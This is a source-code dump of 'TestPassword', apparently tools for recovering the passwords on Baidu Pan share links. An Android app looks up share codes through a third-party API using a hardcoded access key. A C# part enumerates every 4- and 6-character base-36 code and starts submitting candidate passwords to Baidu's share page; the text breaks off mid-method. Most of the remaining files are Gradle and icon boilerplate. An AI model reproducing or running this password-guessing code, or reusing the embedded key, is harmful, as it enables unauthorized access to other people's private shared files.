  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/AndroidManifest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.zgcwkj.baidupantest.testpassword\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n    </application>\n    <uses-permission  android:name=\"android.permission.INTERNET\"/>\n\n</manifest>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/java/com/zgcwkj/baidupantest/testpassword/MainActivity.java",
    "content": "package com.zgcwkj.baidupantest.testpassword;\n\nimport android.support.v7.app.AppCompatActivity;\nimport android.os.Bundle;\nimport android.view.View;\nimport android.webkit.WebView;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.Toast;\n\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        Button btn = (Button) findViewById(R.id.btnGo);\n        btn.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                EditText textUrl = (EditText) findViewById(R.id.textUrl);\n                //验证长度\n                if (textUrl.length() >= 8) {\n                    String info = textUrl.getText().toString().replace(\" \", \"\").replace(\"https\", \"\").replace(\"http\", \"\").replace(\"://pan.baidu.com/\", \"\").replace(\"share/init?surl=\", \"\").replace(\"s/1\", \"\");\n                    String url = \"https://www.ypsuperkey.com/api/items/BDY-\";\n                    String uend = \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\n                    WebView webView = (WebView) findViewById(R.id.webview);//更改界面的WebView控件的地址\n                    webView.loadUrl(url + info + uend);\n                } else {\n                    Toast.makeText(MainActivity.this, \"请输入正确的地址\", Toast.LENGTH_LONG).show();\n                }\n            }\n        });\n    }\n}"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/drawable/ic_launcher_background.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:viewportHeight=\"108\"\n    android:viewportWidth=\"108\">\n    <path\n        android:fillColor=\"#26A69A\"\n        android:pathData=\"M0,0h108v108h-108z\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M9,0L9,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,0L19,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M29,0L29,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M39,0L39,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M49,0L49,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M59,0L59,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M69,0L69,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M79,0L79,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M89,0L89,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M99,0L99,108\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,9L108,9\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,19L108,19\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,29L108,29\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,39L108,39\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,49L108,49\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,59L108,59\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,69L108,69\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,79L108,79\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,89L108,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M0,99L108,99\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,29L89,29\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,39L89,39\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,49L89,49\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,59L89,59\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,69L89,69\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M19,79L89,79\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M29,19L29,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M39,19L39,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M49,19L49,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M59,19L59,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M69,19L69,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n    <path\n        android:fillColor=\"#00000000\"\n        android:pathData=\"M79,19L79,89\"\n        android:strokeColor=\"#33FFFFFF\"\n        android:strokeWidth=\"0.8\" />\n</vector>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/drawable-v24/ic_launcher_foreground.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:aapt=\"http://schemas.android.com/aapt\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:viewportHeight=\"108\"\n    android:viewportWidth=\"108\">\n    <path\n        android:fillType=\"evenOdd\"\n        android:pathData=\"M32,64C32,64 38.39,52.99 44.13,50.95C51.37,48.37 70.14,49.57 70.14,49.57L108.26,87.69L108,109.01L75.97,107.97L32,64Z\"\n        android:strokeColor=\"#00000000\"\n        android:strokeWidth=\"1\">\n        <aapt:attr name=\"android:fillColor\">\n            <gradient\n                android:endX=\"78.5885\"\n                android:endY=\"90.9159\"\n                android:startX=\"48.7653\"\n                android:startY=\"61.0927\"\n                android:type=\"linear\">\n                <item\n                    android:color=\"#44000000\"\n                    android:offset=\"0.0\" />\n                <item\n                    android:color=\"#00000000\"\n                    android:offset=\"1.0\" />\n            </gradient>\n        </aapt:attr>\n    </path>\n    <path\n        android:fillColor=\"#FFFFFF\"\n        android:fillType=\"nonZero\"\n        android:pathData=\"M66.94,46.02L66.94,46.02C72.44,50.07 76,56.61 76,64L32,64C32,56.61 35.56,50.11 40.98,46.06L36.18,41.19C35.45,40.45 35.45,39.3 36.18,38.56C36.91,37.81 38.05,37.81 38.78,38.56L44.25,44.05C47.18,42.57 50.48,41.71 54,41.71C57.48,41.71 60.78,42.57 63.68,44.05L69.11,38.56C69.84,37.81 70.98,37.81 71.71,38.56C72.44,39.3 72.44,40.45 71.71,41.19L66.94,46.02ZM62.94,56.92C64.08,56.92 65,56.01 65,54.88C65,53.76 64.08,52.85 62.94,52.85C61.8,52.85 60.88,53.76 60.88,54.88C60.88,56.01 61.8,56.92 62.94,56.92ZM45.06,56.92C46.2,56.92 47.13,56.01 47.13,54.88C47.13,53.76 46.2,52.85 45.06,52.85C43.92,52.85 43,53.76 43,54.88C43,56.01 43.92,56.92 45.06,56.92Z\"\n        android:strokeColor=\"#00000000\"\n        android:strokeWidth=\"1\" />\n</vector>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/layout/activity_main.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    tools:context=\"com.zgcwkj.baidupantest.testpassword.MainActivity\">\n\n    <EditText\n        android:id=\"@+id/textUrl\"\n        android:layout_width=\"300dp\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginEnd=\"8dp\"\n        android:layout_marginStart=\"8dp\"\n        android:layout_marginTop=\"8dp\"\n        android:ems=\"10\"\n        android:inputType=\"textPersonName\"\n        app:layout_constraintEnd_toEndOf=\"parent\"\n        app:layout_constraintStart_toStartOf=\"parent\"\n        app:layout_constraintTop_toTopOf=\"parent\"\n        tools:text=\"请输入地址\" />\n\n    <Button\n        android:id=\"@+id/btnGo\"\n        android:layout_width=\"255dp\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginEnd=\"16dp\"\n        android:layout_marginStart=\"16dp\"\n        android:layout_marginTop=\"8dp\"\n        android:text=\"查询\"\n        app:layout_constraintEnd_toEndOf=\"parent\"\n        app:layout_constraintStart_toStartOf=\"parent\"\n        app:layout_constraintTop_toBottomOf=\"@+id/textUrl\" />\n\n    <WebView\n        android:id=\"@+id/webview\"\n        android:layout_width=\"300dp\"\n        android:layout_height=\"289dp\"\n        android:layout_marginTop=\"8dp\"\n        app:layout_constraintEnd_toEndOf=\"parent\"\n        app:layout_constraintStart_toStartOf=\"parent\"\n        app:layout_constraintTop_toBottomOf=\"@+id/btnGo\" />\n\n    <TextView\n        android:id=\"@+id/textView\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginEnd=\"8dp\"\n        android:layout_marginStart=\"8dp\"\n        android:layout_marginTop=\"3dp\"\n        android:text='找到 \"access_code\" : \"你要的密码\"'\n        app:layout_constraintEnd_toEndOf=\"parent\"\n        app:layout_constraintStart_toStartOf=\"parent\"\n        app:layout_constraintTop_toBottomOf=\"@+id/webview\" />\n\n</android.support.constraint.ConstraintLayout>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@color/ic_launcher_background\"/>\n    <foreground android:drawable=\"@mipmap/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@color/ic_launcher_background\"/>\n    <foreground android:drawable=\"@mipmap/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/values/colors.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <color name=\"colorPrimary\">#3F51B5</color>\n    <color name=\"colorPrimaryDark\">#303F9F</color>\n    <color name=\"colorAccent\">#FF4081</color>\n</resources>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/values/ic_launcher_background.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <color name=\"ic_launcher_background\">#26A69A</color>\n</resources>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/values/strings.xml",
    "content": "<resources>\n    <string name=\"app_name\">TestPassword</string>\n</resources>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/main/res/values/styles.xml",
    "content": "<resources>\n\n    <!-- Base application theme. -->\n    <style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.DarkActionBar\">\n        <!-- Customize your theme here. -->\n        <item name=\"colorPrimary\">@color/colorPrimary</item>\n        <item name=\"colorPrimaryDark\">@color/colorPrimaryDark</item>\n        <item name=\"colorAccent\">@color/colorAccent</item>\n    </style>\n\n</resources>\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/test/java/com/zgcwkj/baidupantest/testpassword/ExampleUnitTest.java",
    "content": "package com.zgcwkj.baidupantest.testpassword;\n\nimport org.junit.Test;\n\nimport static org.junit.Assert.*;\n\n/**\n * Example local unit test, which will execute on the development machine (host).\n *\n * @see <a href=\"http://d.android.com/tools/testing\">Testing documentation</a>\n */\npublic class ExampleUnitTest {\n    @Test\n    public void addition_isCorrect() throws Exception {\n        assertEquals(4, 2 + 2);\n    }\n}"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/build.gradle",
    "content": "// Top-level build file where you can add configuration options common to all sub-projects/modules.\n\nbuildscript {\n    \n    repositories {\n        google()\n        jcenter()\n    }\n    dependencies {\n        classpath 'com.android.tools.build:gradle:3.0.1'\n        \n\n        // NOTE: Do not place your application dependencies here; they belong\n        // in the individual module build.gradle files\n    }\n}\n\nallprojects {\n    repositories {\n        google()\n        jcenter()\n    }\n}\n\ntask clean(type: Delete) {\n    delete rootProject.buildDir\n}\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/gradle/wrapper/gradle-wrapper.properties",
    "content": "#Fri May 25 20:43:03 CST 2018\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-4.1-all.zip\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/gradle.properties",
    "content": "# Project-wide Gradle settings.\n\n# IDE (e.g. Android Studio) users:\n# Gradle settings configured through the IDE *will override*\n# any settings specified in this file.\n\n# For more details on how to configure your build environment visit\n# http://www.gradle.org/docs/current/userguide/build_environment.html\n\n# Specifies the JVM arguments used for the daemon process.\n# The setting is particularly useful for tweaking memory settings.\norg.gradle.jvmargs=-Xmx1536m\n\n# When configured, Gradle will run in incubating parallel mode.\n# This option should only be used with decoupled projects. More details, visit\n# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\n# org.gradle.parallel=true\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/gradlew",
    "content": "#!/usr/bin/env bash\n\n##############################################################################\n##\n##  Gradle start up script for UN*X\n##\n##############################################################################\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS=\"\"\n\nAPP_NAME=\"Gradle\"\nAPP_BASE_NAME=`basename \"$0\"`\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=\"maximum\"\n\nwarn ( ) {\n    echo \"$*\"\n}\n\ndie ( ) {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n}\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\ncase \"`uname`\" in\n  CYGWIN* )\n    cygwin=true\n    ;;\n  Darwin* )\n    darwin=true\n    ;;\n  MINGW* )\n    msys=true\n    ;;\nesac\n\n# Attempt to set APP_HOME\n# Resolve links: $0 may be a link\nPRG=\"$0\"\n# Need this for relative symlinks.\nwhile [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n        PRG=\"$link\"\n    else\n        PRG=`dirname \"$PRG\"`\"/$link\"\n    fi\ndone\nSAVED=\"`pwd`\"\ncd \"`dirname \\\"$PRG\\\"`/\" >/dev/null\nAPP_HOME=\"`pwd -P`\"\ncd \"$SAVED\" >/dev/null\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n        JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=\"java\"\n    which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif [ \"$cygwin\" = \"false\" -a \"$darwin\" = \"false\" ] ; then\n    MAX_FD_LIMIT=`ulimit -H -n`\n    if [ $? -eq 0 ] ; then\n        if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ] ; then\n            MAX_FD=\"$MAX_FD_LIMIT\"\n        fi\n        ulimit -n $MAX_FD\n        if [ $? -ne 0 ] ; then\n            warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n        fi\n    else\n        warn \"Could not query maximum file descriptor limit: $MAX_FD_LIMIT\"\n    fi\nfi\n\n# For Darwin, add options to specify how the application appears in the dock\nif $darwin; then\n    GRADLE_OPTS=\"$GRADLE_OPTS \\\"-Xdock:name=$APP_NAME\\\" \\\"-Xdock:icon=$APP_HOME/media/gradle.icns\\\"\"\nfi\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin ; then\n    APP_HOME=`cygpath --path --mixed \"$APP_HOME\"`\n    CLASSPATH=`cygpath --path --mixed \"$CLASSPATH\"`\n    JAVACMD=`cygpath --unix \"$JAVACMD\"`\n\n    # We build the pattern for arguments to be converted via cygpath\n    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`\n    SEP=\"\"\n    for dir in $ROOTDIRSRAW ; do\n        ROOTDIRS=\"$ROOTDIRS$SEP$dir\"\n        SEP=\"|\"\n    done\n    OURCYGPATTERN=\"(^($ROOTDIRS))\"\n    # Add a user-defined pattern to the cygpath arguments\n    if [ \"$GRADLE_CYGPATTERN\" != \"\" ] ; then\n        OURCYGPATTERN=\"$OURCYGPATTERN|($GRADLE_CYGPATTERN)\"\n    fi\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    i=0\n    for arg in \"$@\" ; do\n        CHECK=`echo \"$arg\"|egrep -c \"$OURCYGPATTERN\" -`\n        CHECK2=`echo \"$arg\"|egrep -c \"^-\"`                                 ### Determine if an option\n\n        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition\n            eval `echo args$i`=`cygpath --path --ignore --mixed \"$arg\"`\n        else\n            eval `echo args$i`=\"\\\"$arg\\\"\"\n        fi\n        i=$((i+1))\n    done\n    case $i in\n        (0) set -- ;;\n        (1) set -- \"$args0\" ;;\n        (2) set -- \"$args0\" \"$args1\" ;;\n        (3) set -- \"$args0\" \"$args1\" \"$args2\" ;;\n        (4) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" ;;\n        (5) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" ;;\n        (6) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" ;;\n        (7) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" ;;\n        (8) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" ;;\n        (9) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" \"$args8\" ;;\n    esac\nfi\n\n# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules\nfunction splitJvmOpts() {\n    JVM_OPTS=(\"$@\")\n}\neval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS\nJVM_OPTS[${#JVM_OPTS[*]}]=\"-Dorg.gradle.appname=$APP_BASE_NAME\"\n\nexec \"$JAVACMD\" \"${JVM_OPTS[@]}\" -classpath \"$CLASSPATH\" org.gradle.wrapper.GradleWrapperMain \"$@\"\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/gradlew.bat",
    "content": "@if \"%DEBUG%\" == \"\" @echo off\n@rem ##########################################################################\n@rem\n@rem  Gradle startup script for Windows\n@rem\n@rem ##########################################################################\n\n@rem Set local scope for the variables with windows NT shell\nif \"%OS%\"==\"Windows_NT\" setlocal\n\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nset DEFAULT_JVM_OPTS=\n\nset DIRNAME=%~dp0\nif \"%DIRNAME%\" == \"\" set DIRNAME=.\nset APP_BASE_NAME=%~n0\nset APP_HOME=%DIRNAME%\n\n@rem Find java.exe\nif defined JAVA_HOME goto findJavaFromJavaHome\n\nset JAVA_EXE=java.exe\n%JAVA_EXE% -version >NUL 2>&1\nif \"%ERRORLEVEL%\" == \"0\" goto init\n\necho.\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:findJavaFromJavaHome\nset JAVA_HOME=%JAVA_HOME:\"=%\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\n\nif exist \"%JAVA_EXE%\" goto init\n\necho.\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:init\n@rem Get command-line arguments, handling Windowz variants\n\nif not \"%OS%\" == \"Windows_NT\" goto win9xME_args\nif \"%@eval[2+2]\" == \"4\" goto 4NT_args\n\n:win9xME_args\n@rem Slurp the command line arguments.\nset CMD_LINE_ARGS=\nset _SKIP=2\n\n:win9xME_args_slurp\nif \"x%~1\" == \"x\" goto execute\n\nset CMD_LINE_ARGS=%*\ngoto execute\n\n:4NT_args\n@rem Get arguments from the 4NT Shell from JP Software\nset CMD_LINE_ARGS=%$\n\n:execute\n@rem Setup the command line\n\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\n\n@rem Execute Gradle\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%\n\n:end\n@rem End local scope for the variables with windows NT shell\nif \"%ERRORLEVEL%\"==\"0\" goto mainEnd\n\n:fail\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\nrem the _cmd.exe /c_ return code!\nif  not \"\" == \"%GRADLE_EXIT_CONSOLE%\" exit 1\nexit /b 1\n\n:mainEnd\nif \"%OS%\"==\"Windows_NT\" endlocal\n\n:omega\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/settings.gradle",
    "content": "include ':app'\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Hash.cs",
    "content": "﻿using System;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Collections.Generic;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n        #region 只支持4位 By MXWXZ\r\n        public static string HashTo4Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n        public static int StrTo4Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n        #endregion\r\n        #region 只支持6位 By zgcwkj\r\n        public static string HashTo6Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 100000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 5) ret += \"0\";//前导零\r\n            if (ret.Length == 4) ret += \"00\";\r\n            if (ret.Length == 3) ret += \"000\";\r\n            if (ret.Length == 2) ret += \"0000\";\r\n            if (ret.Length == 1) ret += \"00000\";\r\n            if (ret.Length == 0) ret += \"000000\";\r\n            return reverse(ret);\r\n        }\r\n        public static int StrTo6Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 60466176;\r\n            ret += Char2Hash(str[1]) * 1679616;\r\n            ret += Char2Hash(str[2]) * 46656;\r\n            ret += Char2Hash(str[3]) * 1296;\r\n            ret += Char2Hash(str[4]) * 36;\r\n            ret += Char2Hash(str[5]);\r\n            ret += 100000;//防止前导零\r\n            return ret;\r\n        }\r\n        #endregion\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/HttpTest.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// Http测试类(百度网盘分享连接密码测试)\r\n    /// </summary>\r\n    public class HttpTest\r\n    {\r\n        string info = \"\";//唯一识别文件的值\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public HttpTest(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 